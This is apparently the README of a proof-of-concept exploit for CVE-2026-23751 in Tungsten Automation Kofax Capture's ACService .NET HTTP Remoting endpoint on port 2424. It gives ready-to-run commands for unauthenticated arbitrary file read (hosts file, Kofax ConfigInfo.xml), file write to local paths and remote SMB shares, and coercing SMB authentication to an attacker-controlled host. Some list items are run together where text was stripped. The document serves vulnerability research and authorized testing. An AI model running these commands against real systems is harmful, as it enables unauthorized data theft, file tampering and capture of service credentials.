siebrum/cve-2026-23751-pocPatched RemotingClient to exploit CVE-2026-23751 (Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting)
Proof-of-concept reimplementation of the technique described in Code White's NewRemotingTricks, targeting Tungsten Automation Kofax Capture.
Title: Tungsten Automation - Kofax Capture Unauthenticated File Read/Write and SMB coercion via .NET HTTP Remoting
CVE: CVE-2026-23751
CVE-2026-23751 affects Tungsten Automation Kofax Capture and allows an unauthenticated remote attacker to interact with a .NET HTTP Remoting endpoint exposed by the Kofax Capture ACService.
The vulnerability can be abused to perform:
The PoC reimplements the relevant .NET Remoting technique from Code White's NewRemotingTricks project.
The PoC targets the Kofax Capture ACService HTTP Remoting endpoint:
http://<target>:2424/ACService
Port 2424 is the default HTTP Remoting port used by the affected service.
The following example reads the Windows hosts file from the target:
PS C:/> .\RemotingClient_MBRO_Lazy.exe http://<target>:2424/ACService C:\Windows\System32\drivers\etc\hosts
A Kofax Capture configuration file can similarly be read:
PS C:/> .\RemotingClient_MBRO_Lazy.exe http://<target>:2424/ACService C:\ProgramData\Kofax\Remoting\Client\Configuration\ConfigInfo.xml
A file can be written to a location accessible by the Kofax Capture service by supplying the target path followed by the content:
PS C:/> .\RemotingClient_MBRO_Lazy.exe http://<target>:2424/ACService C:\Windows\Temp\test.txt HelloWorld
The same functionality can be used with a UNC path to write to a remote SMB share:
PS C:/> .\RemotingClient_MBRO_Lazy.exe http://<target>:2424/ACService \\<remote_host>\share\file.txt HelloWorld
The ability to access the remote resource depends on the permissions and security context of the Kofax Capture service.
A file:// URI can be supplied to cause the target to access a remote SMB resource:
PS C:/> .\RemotingClient_MBRO_Lazy.exe http://<target>:2424/ACService file://\\<attacker>\file\file.txt
This can cause the affected host to authenticate to the attacker-controlled SMB server, depending on the target environment and its security configuration.
The vulnerability involves the use of .NET HTTP Remoting by Kofax Capture's ACService.
.NET Remoting supports various URI schemes and object serialization mechanisms. By interacting with the exposed remoting endpoint in a specific way, an unauthenticated client can cause the service to perform file-system operations using paths supplied by the client.
The PoC demonstrates how this behavior can be used to:
file:// resourcesThe PoC currently demonstrates writing string data to files. Other file types and payload formats can be supported by modifying the source code accordingly.
This implementation is based on research and techniques presented in:
Code White - NewRemotingTricks
ACServiceRemotingClient_MBRO_Lazy.exeNo authentication to the Kofax Capture service is required for exploitation.
This repository is provided for security research, vulnerability validation, and authorized penetration testing purposes only.
Do not use this PoC against systems without explicit authorization. The author is not responsible for damage, data loss, unauthorized access, or other consequences resulting from misuse of this software.